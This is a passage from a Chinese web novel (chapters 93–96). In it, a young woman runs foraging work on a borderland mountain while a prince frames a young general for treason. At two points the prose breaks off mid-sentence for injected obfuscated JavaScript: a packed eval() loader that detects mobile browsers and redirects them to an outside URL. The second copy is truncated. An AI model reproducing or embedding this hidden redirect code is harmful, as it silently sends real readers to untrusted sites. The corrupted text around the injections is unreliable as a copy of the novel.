“不骂,她还帮着我们挖呢,”那男子紧了紧袖口,“咱邻居老来叔家里不是有个生病的稚儿,燕姑娘听老来叔说花蜜能治他家稚儿的咳嗽,她也帮着摘,她站在树上那还没手指大的枝叶上,采下一朵朵带花蜜的花给老来叔。” “燕姑娘可真是大好人,”年轻妇人看一眼那男子,“那你方才还偷偷摸摸地把草药塞给我,燕姑娘不是知道吗?” “她知道是知道,我们也要藏着些,可不敢太招人眼,”那男子又背起地上的空竹筐,“你同娘先回家,我再上山一趟。” “你当心些脚下,”年轻妇人在他身后叮嘱了一句。 上山下山的人来来回回,梁屯长负责记账,仲三负责给钱。 他们的身旁,放着一筐筐和一篮篮的果子和草药,仲二和仲四正在分类,把相同的果子摆在一起,佟槿方和孙女医的药徒孙素负责整理草药。 佟槿方时不时抬头看山上,也不知他阿姐在山上如何。 佟瑰方这时正在挖草参,这草参虽说比不上人参,但药效相似,穷人家也能吃得起。 在她旁边有棵参天大树,燕惜妤就坐在树干的横枝上。 这附近有不少果树,摘果子的人正在不停地忙碌着。 他们负责摘果子,每人每日二十三文钱。本来是让两头牛驮果子下山的,但那些没能来摘果子的人找到了梁屯长,一通说之后,梁屯长又来找燕惜妤。 最后燕惜妤只好让他们用竹筐背果子下山,一趟五文钱,脚程快的人,一天能赚五、六十文钱,但比摘果子的人累很多。 为了大家的安全,燕惜妤把佟瑰方和孙珍娘都带上了山。 佟瑰方和孙珍娘都懂医,各种去毒丸和驱虫粉她们都会自制,为了上山摘果子的人的安全,她们俩连夜制去毒丸和驱虫粉。 山上果树多,各种药材也多,燕惜妤干脆让上山背果子的人在山上歇息时,顺便帮着挖些草药。 她虽然分辨不出,但佟瑰方和孙珍娘在,她们俩人都懂。 至于那些人挖着挖着就往自个怀里揣一些,燕惜妤也不管,大山本来就无主,她能摘,别人也能摘。 不过如果不是有她在,其他人不敢进山。 “姑娘,是羿家军巡山的将士,”仲茂和仲五都跟来了山上,他们负责牵着牛,牛不怕毒蛇,在嚼草的时候,还把毒蛇给舔走了,仲茂初初看见这一幕时,浑身的汗毛全都竖了起来。 燕惜妤顺着仲茂指的方向往下看,羿家军的将士都身穿铠甲,腰挂大刀。 除了巡山的将士,还有几个上山打猎的猎户。 这些猎户都有了些年纪,看着就是打猎的老手。 燕惜妤看着他们,忽然想到了阿七。 阿七也说是猎户,可他自从到了乌州后,一次也没来过边地。 或许有来过,只不过是没有找她。就像她也一样,她记得去什么地方可以找阿七,但她同样一次也没去过。 “仲茂,这几日有没有看见阿七?”燕惜妤低头看着仲茂。 仲茂摇头:“我特地去看了,没见他。”原本还想着给阿七一竹筐果子,但连着几日都没在进山打猎的猎户之中看见阿七。 “就说他一个看着豪贵的富家公子,又怎么会是猎户,”仲五在旁边蹲着挖草药,边挖边说,“那阿盛也不像渔夫,弱不禁风的,每次就属他走在最后面。” “蛇!”骤然有人喊了一声。 燕惜妤眼睛一转,手中的短刀同时飞了出去,“唰”的一下,准又狠地将一条毒蛇钉在树根上。 孙珍娘虽说是女僧,但她制毒尤其厉害,这时已拎着布袋走了过来,麻利地拔了短刀,再然后把还会动的毒蛇塞进布袋里。 燕惜妤这时悄无声息地从树上落了下来,刚才喊有蛇的人连忙双手捧着那把短刀走到她面前:“燕姑娘,这是您的刀。” “多谢,”燕惜妤拿过刀,下一霎,她又站在了树上。 那男子还保持着双手递刀的姿势抬头看着树上。 “看啥呢?”和他一起摘果子的人走过来拍他的肩膀,“你难道也想站树上?我劝你别,摔不死你!” “我看燕姑娘……”那男子刚开口,就被他用脏兮兮的手一把捂住了嘴巴。 “你不要命了!别看别想!”那男子压低着声音说,“燕姑娘再好,你也别痴想!” 人人都知道这临阜山有山……神,从来无人敢乱闯,而那些从羿家军过来巡山的将士,因为有天兵天将护体,所以山神从不为难他们。 而这燕姑娘和他们却又不同,燕姑娘在这大山之中来去自如,山中所有的飞禽走兽都奈何不了她一个女子! 怪不得梁屯长会为她奔走,因为他相信燕姑娘能在夷狄人的地盘上恣肆无忌。 之前他们这些人是不信的,要知道大承的羿家军将士个个勇猛善战,那夷狄蛮族仍敢隔几年就来侵袭,若不是早几年被羿家军打怕了,说不定今日的大承仍然战火纷飞。 但自从看见她先是独自一人从夷狄的地盘上带回了牛羊,又看见她在这山中扑杀猛兽毒蛇都不需近身,他们不得不相信。 这燕姑娘不是寻常人,他们这些人也只配像这样远远地看着,若是敢生出些旁的心思,怕是连命都得赔上。 “燕姑娘!”佟瑰方忽然自一草 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“桑大娘,这几日累着了吧?”燕惜妤快步上前过来扶她,“那些羊毛都晒干了?” 带回来的羊毛太脏,需要先清洗晾干才能纺线,原本燕惜妤是想请屯里的妇人帮忙清洗的,但罗采春见这几日给出了那么多铜板,怕燕惜妤花没了银子,于是她就抢着要洗羊毛。 燕惜妤拗不过她,只得同意,好在还有桑大娘负责看顾几个小娃,否则这几个小娃偷跑上山也没人知。 “我哪里累,”桑大娘摇头说,“你才是最累的,这几日夜里你倒头就睡,小满儿半夜偏要过来同我们一起睡,都没吵醒你。” 燕惜妤确实也很累,她需要一整日都在树上站着,而她整个人是紧绷着的。 她需要眼观六路耳听八方,任何一点风吹草动都能撩起她的神经。 她双手一直攥紧着两把短刀,那短刀这几日已经染满了山中飞禽走兽的鲜血。 胆小的动物早就逃了,留下的都是带毒又凶猛的,潜藏在草丛中,随时都能要了一个人的性命。 燕惜妤将人带上山,她就要把大家伙都安全带下山,否则她对不起在山下等待众人回家的亲人。 不过这些事也没必要对身边的人说,那本就该是自己的责任。 “是不是因为我们这几日都不在家,小满儿想我们了,才晚上非要同我们一起睡,”燕惜妤笑着说,“这几日果子她也不吃了,我明日猎只山鸡回来,给她烤着吃。” “小娃娃就是人来疯,要热热闹闹才好玩,不用理她,”桑大娘说,“今日那陶匠焦老爷子来过了,说是陶窑已经起好了,他家儿子也寻到了能用的陶泥,说等烧过窑就可以制陶,特地来问你要制什么样的陶器。” “我明日带人过去看看,”燕惜妤点点头,对身边的仲茂他们说,“几位兄长,你们谁去管陶坊?” 仲茂他们还有点茫然:“陶坊怎么了?” 桑大娘摇头:“你身边的姑娘倒是伶俐,只这些后生一个个的让人不放心。” “以前没做过,怪不得他们,”燕惜妤看向身边的这些人,“他们已经很能干了。” 桑大娘摇头:“你说一句,他们走一步,要人推着才能做事。” “挺稳妥的,这也不错,”燕惜妤看着她,“桑大娘,你多看着他们。” “行,我帮你看着他们,”桑大娘轻轻拍拍燕惜妤的手背,“你别太累着,要顾惜自己的身子。” 燕惜妤笑着说好。 夜里一觉睡到天光,燕惜妤是被人吵醒的。 “燕姑娘快醒来,有人找你!” “阿妹醒醒!有人找来了!” 94. 第94章 有人找? 燕惜妤也不知为什么突然就想到了阿七。 她一个翻身坐了起来,然后又顿住了动作。 来找她的不会是阿七。 身边的人全都认识阿七,要真是阿七来了,他们不会这么急匆匆地来吵醒她。 不是阿七,那还有谁来找她? 难道是陆家商行的曾管事? 来的也不可能会是曾管事。 曾管事要是知道她还在睡,他不会让人喊醒她,她身边的人也不会来喊她。 那来的是谁? “三姐,谁找我?”燕惜妤看着站在炕边的罗采春,“是我们不认识的人?” “不认识,我先帮你梳头发,”罗采春手里早就捏着把小木梳,脸上有着藏不住的惊慌,她压低声音说,“桑大娘说那些人来头不小。” 燕惜妤听了,眼睛看向站在门板后的佟瑰方。 佟瑰方出身比其他人都要好,她应该能看得出来。 佟瑰方留意到燕惜妤看过来的视线,沉默地点了点头。 看她这样,燕惜妤就知道不用猜了,来的应该是在大承有身份的人。 罗采春没试过像今日这般手快为燕惜妤梳头发,燕惜妤只觉得对方把她头发一梳一挽,发髻就梳好了。 燕惜妤走出屋门,一眼就看见桑大娘跪在院子正中,她忽然就知道来找她的人是为了什么。 对方来找她,是因为她的姓氏。 “燕姑娘,快过来!”梁屯长也在,他额头上有着细汗,这时半弯着腰快步过来,“这位是从宫里过来的车大人。” 那车大人身穿官袍,头戴官帽,表情严肃,眼睛似是不甚在意地瞥了过来。在他身侧还站有两排腰配长剑的侍卫,燕惜妤还是第一次在大承见到这么有官威的人。 “车大人,这位就是您要找的燕惜妤,她前些日子刚落户在边地,咱泰县的知县老爷刘大人身边的文书是知晓这事的,”梁屯长边说,边看向站在另一边的文书,“文书大人也在,小人不敢有半句假话。” 燕惜妤这才留意到之前给她办理落户的官员也在,看来这车大人叫他来,是为了确认她和桑大娘的身份,怕有人弄虚作假。 果然那文书在看见燕惜妤之后,转身对车大人拱手说:“回禀车大人,她们确是那燕氏和桑氏,属下虽只见过她们俩人一次,因时间不久,倒也还记得她们的样貌。” 车大人在听了文书的话后,视线这才掠过桑大娘看向燕惜妤,冷声问:“你可是姓燕?” “是,我姓燕,”燕惜妤站在跪着的桑大娘旁边,她垂眼看着地面,站得笔直。 梁屯长脸上的冷汗真多了。 桑大娘跪着,燕姑娘却不跪,这对比太明显了,要是车大人为此发怒…… 梁屯长越想越害怕,恨不得替燕惜妤跪下。 不过那车大人却像是根本不在意燕惜妤跪不跪,他只是点点头,像来时一样,话不多说地带着人走了。 “呼!”梁屯长长长地吁了一口气,“总算是有惊无险,都没事了。” “桑大娘,你的腿没事吧?”燕惜妤第一时间去扶桑大娘,又转头看向这时才从屋里走出来的佟瑰方,“来看看桑大娘。” “我没事,”桑大娘摆摆手,“该是把你们都吓坏了?” 之前一直缩在角落里的仲茂他们,这时才敢走过来,佟槿方还一脸的担忧:“这宫里的官员为何会忽然找到我们这?” “……只找燕姑娘和桑大娘,”梁屯长应该也知道一些前朝的事,他抬手擦擦额头上的冷汗,“大承只有一个姓燕的人,就住在皇都,咱这边地燕姓和桑姓同时出现,宫中肯定会派人来查的,这不稀奇。” 仲茂他们这些老百姓哪里会想到前朝,一个个满脸茫然地站着:“姓什么宫里也要管吗?人家老祖宗留下的,碍他们眼了啊?” “你知道些什么!”梁屯长低声想再说些什么,但想想又没再开口,只是拍拍仲茂的肩膀,“今儿事也多,咱继续上山去。” 佟槿方轻手轻脚走到燕惜妤的身边说:“你方才怎的不跪啊?可吓死我了,我真怕那车大人发怒。” “跪?”燕惜妤想了想说,“我没想到这事,也没人提醒我啊。” 她是真没想到这一回事,自从她来到这时空,哪怕初时被困在教坊司里,她也没跪过,后来一路奔波到了边地,更是一次都没跪过。 差点儿就忘记这是封建时代了。 她有点懊恼地说:“这几日太忙了,我刚醒,脑子都还是懵的。” 仲二也跟着点头:“我也懵,那什么大人来咱这就只问两句话?他干嘛来的?” 大家都不知道宫里的车大人为什么要来,燕惜妤也不知道,不过她倒是知道另外一件事。 “他们不是冲我和桑大娘来的。” “不是为你们而来?”梁屯长面露不解,“可车大人一到就差人问我你和桑大娘在不在,我将他们带来之后,车大人见了桑大娘,还非得要见你,这不就是摆明了是为你们而来。” 桑大娘若有所思地开口:“姑娘的意思是?” “他们特地来见我和桑大娘,只是在确认边地有姓燕和姓桑的人在,”燕惜妤扫了大家一眼,“我和桑大娘或许只是他们来边地的由头,他们这是准备拿我和桑大娘借题发挥做别的事。” “拿你们当借口?可是边地有什么事情能值得宫里的大人千里迢迢跑过来?”梁屯长皱眉苦想,“咱这边地穷困闭塞,官员都不愿意来,若不是有羿家军……” 说出羿家军这三个字时,梁屯长猛地一顿,表情变得极为惊恐:“难道说他们是为了……”羿家而来? 羿家军守着这边地,守着大承的国门,宫里来的官员如果真要动羿家…… 梁屯长僵硬着脸皮说:“应、应当不会吧?” “或许吧,”燕惜妤笑笑,看向羿家军营驻扎的方向。 宫里头过来的官员到底为什么而来,很快就会有答案的。 这时在泰县城中的盛樗容也在问这个问题。 “九皇子殿下,您此次来边地莫非真的只是为了带我回去?” 他站在书案前,而原本该是他坐的高背椅则坐着一名年轻男子。 顾鸣觉面色温和:“樗容表弟这是和我生分了,怎的连表兄也不愿意唤我了。” 盛樗容抿了抿嘴唇,垂着头说:“表兄,您为何而来?” “自是为了带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15019594|151906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你回去,”顾鸣觉温和地说,“你离家已有些时日,是该回去了,此次我若不来,我那十弟也会来。” 盛樗容心里一阵苦涩,都说皇亲国戚最有权势,可他这个夹在中间两头不讨好的人,是真不想当那什么捞什子的皇亲国戚! 顾鸣觉见盛樗容低头不说话,他也不再说这个事,而是很随意地拿起了书案上的一本书:“哦,你还看兵书?” 盛樗容眼睫颤了一下,才说:“闲来无事拿来看看解解闷。” “又不说实话,”顾鸣觉将书放回案上,“是从衍椋那里拿来的吧?” “是,”盛樗容只能点头,又连忙解释,“我原本也不是要来这乌州,只是路上遇险被他所救,这才一同过来,我原想着这几日就回去。” “你早些随我回去,免得我姨母担忧你,”顾鸣觉说着站了起来,边往外走边说,“让下人帮你收拾行囊,然后随我回去。” 他来边地像是真的只为了找人,这时见到人也就放心了,表情轻松地走了出去。 外面有他的侍卫守着,他一出来,侍卫也跟着他一同离开。 等他上了马车之后,脸上的表情瞬间就变了,上一霎温和的眼中满是阴戾之色。 泰州供官员下榻的行辕早就因为九皇子的到来被清了场,原本的士卒全都换成了顾鸣觉带来的侍卫。 之前还在边地的车大人,这时已经候在房中等待着。 顾鸣觉一出现,所有的人全都跪了下来:“九皇子殿下!” “都起来吧,”顾鸣觉走到主位坐下,抬手示意房中等着的人也坐,“坐着回话。” “谢殿下,”车文成又弓腰道谢,这才在旁边的椅子坐下。 “看见人了?确认了?”顾鸣觉边转着手上指环边问,“是她们?” “是,属下确认过了,”车文成又站了起来,“泰县衙门的文书也确认是她们,绝不会有错。” “好,一个姓燕,一个姓桑,”顾鸣觉勾起嘴角,“燕灭桑,桑若出,燕复起……燕复起!当真是太好了!” 车文成站着没动。 顾鸣觉脸色渐渐变得阴沉:“燕氏桑氏在乌州边地同时出现,他羿家在这边地可谓手眼通天,这等大事羿家怎会不知,可他们却没将此事禀知我父皇,车文成,你说他羿家这事可是做错了?” 车文成双手一抱拳,恭敬道:“殿下说的是,羿家确是做错了。” 顾鸣觉脸上又缓缓地露出笑容来:“做错了事,就得受到惩罚。” 羿衍椋,就看这次你还能怎么脱身! “阿嚏!”羿衍椋莫名其妙打了个喷嚏,他单手握拳轻轻碰了一下鼻尖,然后看着旁边一脸生无可恋的盛樗容,“你怎么还在这?九皇子不是让你跟他回去?” 一听见“九皇子”三个字,盛樗容瞬间就从椅子上蹦了起来,焦急地说,“我说七哥,你倒是想个办法啊!” “想什么办法?”羿衍椋看着他,“他是皇子,我是臣子,我难道还能强行把你留下?” “我说的是这个吗?”盛樗容立即跳脚,“我是说他来准没好事,你得防着点!” “防不住,”羿衍椋冷嗤一声,“再说了,我也一直在等着他们。” 95. 第95章 盛樗容一愣,终于安静了下来:“七哥,你打算做什么?” “我能做什么?”羿衍椋反问他,“顾鸣觉可是皇子,我一个臣子能做什么?” 盛樗容盯着他。 羿衍椋慢条斯理地说:“我只能等他做些什么。” 盛樗容迟疑地问:“他要是……什么都不做呢?” “他不做,你表弟也会做,”羿衍椋瞥了盛樗容一眼,“若他们二人什么都不做,那就皆大欢喜。” 盛樗容又开始焦躁起来:“他们怎么可能什么都不做!你明明知道……” “我知道,你也知道,他们也知道,”羿衍椋又是冷嗤一声,“但他们偏偏要争那个位子,你什么都不做,不照样成为了九皇子来这里的借口。” 盛樗容忽然就哑巴了,他张了张嘴,最后无奈地瘫坐在椅子上:“那个位子……从来都是让兄弟自相残杀的。” “天下臣民千千万,帝皇只能是一人,”羿衍椋冷着脸说,“你若处在他们二人的位置,不争也会争,多想无益,且等着吧。” 盛樗容长长地叹了一口气:“唉,一个是我姨表兄,一个是我姑表弟,我们三人儿时……罢了罢了,多想无益。” 九皇子顾鸣觉,是盛樗容姨母的儿子,他们二人的母亲是一母同胞的亲姐妹。 而十皇子顾鸣端,是盛樗容姑母的儿子,盛樗容的父亲和十皇子顾鸣端的母亲是一母同胞的亲兄妹。 一个是他的姨表兄,一个是他的姑表弟,偏偏他的表兄表弟生在皇家,注定会有这场夺嫡之战。 “同室操戈窝里斗,”盛樗容忽然嘲笑出声,“历朝历代都是这么过来的,他们自家人都不在乎,我这个外人又何必为他们难受。” “你祖父你爹都是正统一派,你该学学他们的定力,”羿衍椋看着手中的书,“十皇子是你盛家的亲血脉,你若想帮他,倒也情有可原。” 盛樗容倏地瞪大眼睛看着羿衍椋,声音有点颤抖:“我说七哥,你这话是真心的?” “我何时同你说过假话,”羿衍椋瞥他一眼,“亲疏有别,我能理解。” “你!你!”盛樗容抖着手指向羿衍椋,“七哥,你怎么能这么说,我、我再怎么想让我的表兄弟好,也不可能会和你为敌。” 当今的皇太子妃,是羿家嫡出的女儿,是羿衍椋一母同胞的亲姐姐。 谁若想和皇太子为敌,就是和整个羿家军为敌! 所有人都知道皇太子顾鸣取的背后站着羿家,也都知道若想要扳倒皇太子,首先就是捣毁整个羿家军。 但羿家军不仅仅是皇太子的外亲,同时还是大承最勇猛善战的军队,若有谁真把羿家军捣毁了,大承皇朝国门危矣! 孰轻孰重,盛家还是能分清的。 所以盛家一直以来拥护的就是正统,顾鸣取是当今皇后的儿子,是皇帝亲封的皇太子,是将来大承的帝皇,他们作为臣子,必须忠于皇帝,忠于皇太子。 “你既然知道,那为何还唉声叹气?”羿衍椋继续看书,“这事就连陛下都无计可施,你就别操那么多了。” “……我只是不想让我的表兄弟做错事,”盛樗容喃喃低语,“我……七哥,你打算怎么做?” “我能怎么做,”羿衍椋冷着脸说,“我已经说过了,我是臣子,他们是皇子,他们若要杀我,我反抗也是抗旨,仍然是死罪。” “……七哥,你可别吓我,”盛樗容哭丧着脸说,“九皇子都已经在这城里了,你倒是快想办法……” 他话还没说完,屋外头忽然闯进无数手持刀剑的士兵,他们个个凶神恶煞地盯着羿衍椋。 “你们、你们是……”盛樗容被惊的一时有些乱了阵脚,这里可是羿衍椋的少将军府,谁敢乱闯? 难不成是…… 他脑海中刚闪过某道身影,就见一个身穿铠甲的武将大步走了进来。 “高将军?!”盛樗容大吃一惊。 高旗高将军是皇都四守将之一,他的出现,代表着皇家。 果然是顾鸣觉! “羿少将军,得罪了,”高旗右手握着腰间长剑的剑柄,“你里通外敌勾结前朝余孽,九皇子殿下命我将你押回皇都受审。” 盛樗容慌忙道:“不是……你们是不是搞错了?” 羿衍椋却很镇定,他看向高旗:“高将军,你们可有证据?” “证据自然是有的,”高将军看向盛樗容,“此事还需多谢盛公子,九皇子殿下无意间在盛公子从少将军处借来的兵书里,看到了少将军勾结前朝的罪证。” 盛樗容猛地僵住了。 他脑海中骤然想到顾鸣觉在他书房时随手拿起的那本兵书,可那本兵书他也看过,书里面根本就不可能会有羿衍椋勾结前朝的证据! 这分明就是栽赃! “不可能!”盛樗容脱口而出,“那兵书我看……” “盛公子,”高将军却忽然打断他,“公子想说什么?羿少将军勾结前朝余孽的罪证可是九皇子殿下找到的,且还是经盛公子之手。” 盛樗容猛地闭上了嘴巴, 高旗这是在提醒他,不能质疑那本兵书,因为证据是九皇子找到的,他质疑证据就是质疑九皇子。 皇家权威不允许任何人质疑! “少将军,请跟我们走吧,”高将军又看向羿衍椋,“羿家众人带领羿家军为了大承一生坚守边地,九皇子殿下定会在陛下面前为少将军说情。” 盛樗容皱紧了眉头,高旗是故意提起羿家,他这是在拿羿家和羿家军威胁羿衍椋。 羿衍椋缓缓站了起来。 高旗一直握着剑柄的手倏地攥紧了剑柄,眼睛也紧紧盯着羿衍椋。 “既然九皇子殿下亲自来了,我总不好让殿下空手而归,”羿衍椋慢慢地走了过来。 高将军一挥手,其部下众士兵立即将羿衍椋围的水泄不通 “你们、你们!”盛樗容看着羿衍椋被押了出去,又再看看少将军府的其他人,大家都紧攥着拳头在强压着情绪,羿衍椋不反抗,他们也不敢动,可要是羿衍椋敢反抗,羿家就会被说成叛乱。 叛乱可是会被满门抄斩的! 就算羿衍椋能够不顾忌其羿家人,但若军中别的将士跟着他一起反抗,那些将士的家人就会成为叛军家属,随时会被朝廷派出的将士处死。 羿家军众将士为了大承天下抛头颅洒热血,羿衍椋不可能在已经安宁的日子里,将军中将士推向万丈深渊之中。 眼下这种情况,羿衍椋束手就擒好像是唯一的选择。 可是羿衍椋又有什么错,羿家又有什么错!他们不能成为皇子夺嫡的无辜受累者! “七哥!七哥!”盛樗容慌乱着想追上去,但却被高将军拦住了。 “盛公子,九皇子殿下吩咐我等要将公子一同送回皇都,”高将军一握腰间配剑,侧身道,“盛公子,请吧。” 盛樗容下意识后退了一步。 不能走!他若走了,他七哥怎么办?! 都怪自己,若不是跑来边地,躲在羿家的地盘上,还借走七哥的兵书,顾鸣觉又怎么会找到机会栽赃陷害七哥,诬蔑七哥勾结前朝余孽…… ……前朝余孽? 前朝……燕氏,燕氏……燕姑娘!! 燕惜妤!!! 找到燕惜妤,就能证明七哥的清白! 盛樗容猛地转身想跑,高将军一个箭步冲了上来。 盛樗容自知跑不过武将,所以他一把扯住少将军府的守卫,快速地说道:“去边地找一位叫燕惜妤的姑娘,此事因她而起,她能帮我七哥,快去找她!” 他话才刚说完,高将军人已到了他身后,然后就像是老鹰捉小鸡似的,把人给捉走了。 剩下的人一时都有点不知所措。 “快去将军府禀报夫人!”有人喊。 另一个人喊:“我去军营!” “盛公子方才说去边地找……姓燕的姑娘,还找不找?” “姓燕?那不是前朝皇族的姓氏吗?” “盛公子的话还能信吗!你们难道没听见那什么鬼证据就是他交给九皇子的!” “可是少将军说过,盛公子可信!” “别管那么多了,就说那燕姑娘找还是不找吧?你们给句话!” 少将军还没成亲,府中没有女子,只有几名曾在战场上受伤的士兵,平日羿衍椋要是外出,大小事宜都是管家在处理,于是大家一起看向府中管家。 管家是位身有残疾的男子,他曾是羿家军中先锋营的副将。 管家面色沉着,想了想才咬牙点头:“找!” 少将军要是在皇子手中出了事,陛下估计不会因为羿家而让皇子偿命,皇子毕竟是陛下的亲儿子,而羿衍椋只不过是一介臣子罢了。 所以无论如何,总要试一试。 而边地这边,那可是很热闹。 焦家已经开始在烧陶了,虽然只烧出了些小的宽口陶罐,但也说明新盖的陶窑能用。 这也要多得有焦老爷子在,这要是换成他的儿子或徒弟来边地,估计陶窑要拆了再重盖,也未必能烧出陶器。 对于陶匠来说,制陶虽易学,烧陶却难成。 有了陶坊烧出的那批宽口陶罐,燕惜妤就让罗采春试着做果子罐头。 边地会下雪,冬日不只没蔬菜,也没果子。 从山上摘了很多果子,最好的那些果子要拿来和夷狄人换羊,最熟的那些果子用板车拉到城里去卖,剩下一些卖相不好的,燕惜妤就拿来做果子罐。 燕惜妤没做过果子罐,但她知道方法。 先把水果洗净去皮,装罐后加糖再加放凉的开水,最后罐子上放盖不拧紧后上锅蒸。 方法说出来后,桑大娘和罗采春试了几次,总算是把果子罐给做出来了。 “好是好,就是费糖,”梁屯长边吃着果子罐边说,“不过这果子罐若能放到冬日,倒也能卖上不少银子。” “屯长,这果子罐我们赚不了几个钱,别人一看就会,”燕惜妤拿着手里空了的罐子说,“我是想做别的。” “别的?”梁屯长立即放下了手里的果子罐,“燕姑娘是想做什么?” “制糖,”燕惜妤用指尖点了点手中的陶罐,“盐被朝廷管着,但糖不是,夷狄人也需要糖,我想再做个糖坊。” “……燕姑娘,你那陶坊和布坊才刚做起来,这就又要开糖坊了?”梁屯长喃喃道,“你这……” 燕惜妤打断他:“屯长,陶坊是我仲二兄和焦家在管,羊毛布坊有我三姐和仲茂兄还有杨元正,所以糖坊我打算交给屯长,再让佟家姐弟帮着打理,不知屯长意下如何?” “糖坊交给我?!”梁屯长瞬间瞪大了眼睛,“燕姑娘,你说糖坊交给我?” 梁屯长又惊又喜:“可我和姑娘你非亲非故,又不像焦家和杨元正那般能在坊里帮上忙,我这也就只会帮着跑腿,糖坊……交给我?” “虽然我和屯长非亲非故,但我信屯长,”燕惜妤看着梁屯长,“陶坊和布坊之所以能成功,屯长你功不可没,也正是因为屯长你做你那些事,让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“但糖坊也只能让他管理,他是屯长,他让大家种什么,大家都会听,”燕惜妤笑笑,手闲地把桌上的罐子转了转,“虽然我开了陶坊和布坊,也雇了屯里的人来帮忙,但田地是百姓的根本,他们需要粮食活命,我想让他们继续种田,咱边地这么多荒地,不种可惜了。” “你这一天天的,操的心可真不少,”佟槿方从外面走进来,“你和梁屯长方才说的话我在外头听见了,你放心,我绝对不会让他在糖坊里贪到一文钱。” “我让你和佟阿姐去管理糖坊,不是为了盯着梁屯长的,”燕惜妤摇了摇头,“制糖不只是精细活,更不能让秫秸朽腐生虫,你们需要保证糖坊做出的糖是能吃的,而不是毒药。” “原来是这样,怪不得你让我和阿姐去糖坊,”佟槿方在炕边坐下,沉默了一会才说,“我还以为你不打算用我和我阿姐。” “想什么呢,”燕惜妤屈指弹了一下他的额头,“我不用任何人,都不会不用你们俩。” “就是!就你这小子多心!”仲三这时也走了进来,“我和我俩个兄弟都没出声,你小子倒是先张嘴了。” “你看,这又是来讨事的,”桑大娘笑着对燕惜妤说,“就不该让他们闲着。” “每个人我都会安排事情的,不用急,”燕惜妤对仲三说,“你先帮我三姐几日,布坊那边才是最重要的。” “好,我听姑娘的,”仲三连连点头。 “呜哇哇哇!”这时,屋外传来小玉彩的哭声。 “这娃儿怎么就哭了?”桑大娘连忙下炕要去看看。 燕惜妤扶着她一起出来,发现小玉彩一直很宝贝的莲花灯被小羊羔给踩坏了。 “让你出来看小羊羔不要抱着它,这下坏了吧,”桑大娘过去将小玉彩拉过来帮着擦眼泪,“别哭了,你哭上一整日,小羊羔也不会帮你修好花灯的。” 小玉彩这下哭的更大声了,边哭还边朝着燕惜妤伸手。 “没事,我能修好,”燕惜妤把她抱起来,“让你三叔去砍几根竹子回来,我晚上给你修花灯。” 小玉彩看看刚升起的日头,又哭出声来。 “等这么会都不行,惯坏了,”桑大娘将小玉彩抱过来放在炕头上自己坐着,“那你哭到晚上吧,我让小满儿来陪你哭。” 小满儿这时躲在门外,只露出半颗小脑瓜子。 “你看你总带着阿妹去看羊看鹿,这回是花灯被踩坏了,下回就该踩坏你的玩具了,”桑大娘吓唬她,“你继续把你宝贝的玩具带出去吧,被踩坏了别哭。” 小满儿嗖一下就跑回里屋放玩具了,只留下小玉彩自己在哭。 燕惜妤摸摸她的头,在炕柜里找出了从教坊司一直带到边地的那个碎布缝制的丑玩偶娃娃。 “这个给你,白日先玩着这个,等夜里我再修好花灯,”燕惜妤把丑娃娃放在小玉彩的怀里,“别哭了,泪水会把娃娃打湿的。” 小玉彩泪眼朦胧地低头看着那个丑娃娃,然后一手布娃娃,一手坏了的花灯跳下炕跑里屋去了,没一会儿,就传出了她和小满儿的笑声。 “真是惯坏了,”桑大娘摇摇头,“你整日这么累,夜里还修什么花灯。” “没事,就削几根竹篾,”燕惜妤笑着说,“小玉彩就那一个玩具,被羊踩坏了她心里难受。” “你呀,”桑大娘叹气道,“还是心太软。” “可我心狠做什么,”燕惜妤将炕桌上的罐子放在旁边的箱子里,以免摔碎了,“我这人一向……” 她话才刚说了一半,巷子外忽然响起了急促的马蹄声。 燕惜妤皱起了眉头。 屯里别说没有几匹马,就算有马,也没谁会在屯里巷子走马。哪怕是军户住着的屯里,也极少在屯里巷子骑马飞奔。 燕惜妤望向屋外,来人并非是住在屯里的,而是外来人。 外来人敢在屯里巷子骑马飞奔,此人来头不小。 96. 第96章 “这是哪里来的人?”桑大娘也皱眉看向屋外,家里的小娃娃常在巷子里玩,若是被马踢到那还得了。 燕惜妤摇摇头:“外头来的人。” 话音刚落,马踪声停在了屋外,紧接着就听见仲三的声音。 “你干什么?你是什么人?!” 燕惜妤立即走了出去,人才刚迈过门槛,就听见陌生的声音:“我找一位叫燕惜妤的姑娘。” 来人边说边四处打量,一眼就看见了正从屋里出来的女子,他忙大声问:“这位可是燕惜妤燕姑娘?” 燕惜妤看着他,这人身上穿着士卒的甲衣,脸上有刀疤,眼神却很是锐利。 “我是,请问你是?”燕惜妤向前走了一步。 来人立即快步过来:“燕姑娘请借一步说话。” 院子就这么大,燕惜妤只能往屋角的方向走了几步:“你有话就直说吧。” 谁知来人却忽然单膝跪在了她面前,双手抱拳道:“请燕姑娘帮帮我们少将军!” 燕惜妤被他这一跪吓得差点撞墙上:“你先起来再说,我不喜欢低着头说话。” 对方立即就站了起来:“请燕姑娘帮帮我们少将军!” “你等等!”燕惜妤抬手,脸上很茫然,“你们少将军是谁?我不认识你们的少将军。” “羿家羿衍椋,是我们羿家军的少将军,”对方皱眉道,“可是盛公子让我们来找燕姑娘你。” “羿家军?”燕惜妤下意识往羿家军驻扎的营地方向扫了一眼,“我不认识你口中说的羿衍椋少将军,我更不认识什么盛公子,你找错人了。” “我找错人了?不会找错!”对方皱着眉自问自答,“盛公子说的清清楚楚,叫我们来边地找一位叫燕惜妤的姑娘,就是你!” “可是我真不认识你们的少将军,我也不认识什么盛公子……”燕惜妤忽然一顿,想了一下才迟疑地问,“盛公子?你说的盛公子,是姓盛?还是叫阿盛?” “他姓盛,名盛樗容,是当朝丞相家的公子,”对方盯着燕惜妤,“燕姑娘你说的阿盛是谁?” 